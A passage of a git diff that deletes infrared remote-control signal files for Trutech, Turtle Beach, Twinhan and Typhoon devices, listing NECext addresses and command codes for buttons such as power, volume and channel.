KEY_DOWN -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 24 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 47 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 49 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 4A 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 50 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir deleted file mode 100644 index ceb5c97eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 02 00 00 00 -# -name: qview -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 03 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 05 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 08 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 14 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 19 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 48 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 4A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir deleted file mode 100644 index 5f6540571..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir deleted file mode 100644 index 226aa6dc0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GROUP -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 00 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 01 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 08 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0C 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0D 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0E 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0F 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 10 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 11 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 12 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 14 00 00 00 -# -name: ADD_FAVORITE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 15 00 00 00 -# -name: JUMP_- -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 16 00 00 00 -# -name: JUMP_+ -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 17 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 18 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 19 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1B 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1F 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 40 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 41 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 42 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 43 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 47 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 48 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 49 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4A 00 00 00 -# -name: NET -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4B 00 00 00 -# -name: LISTS -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir deleted file mode 100644 index c1d7abad8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Group -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 00 00 00 00 -# -name: Add -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 01 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 14 00 00 00 -# -name: addfav -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 18 00 00 00 -# -name: skiprev -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 1F 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 40 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 41 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 42 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 43 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 47 00 00 00 -# -name: artist -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 48 00 00 00 -# -name: album -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 49 00 00 00 -# -name: genre -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4A 00 00 00 -# -name: net -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4B 00 00 00 -# -name: lists -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 F9 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir deleted file mode 100644 index 8220b3662..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: Hibernate -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: Info/EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: FR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: Enter/OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: Capture -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir deleted file mode 100644 index 7c7cfb9df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: CAPTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir deleted file mode 100644 index 7c7cfb9df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: CAPTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir deleted file mode 100644 index 668650125..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Pow -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 00 00 00 00 -# -name: FS -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 05 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0D 00 00 00 -# -name: Snap -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 10 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 60 01 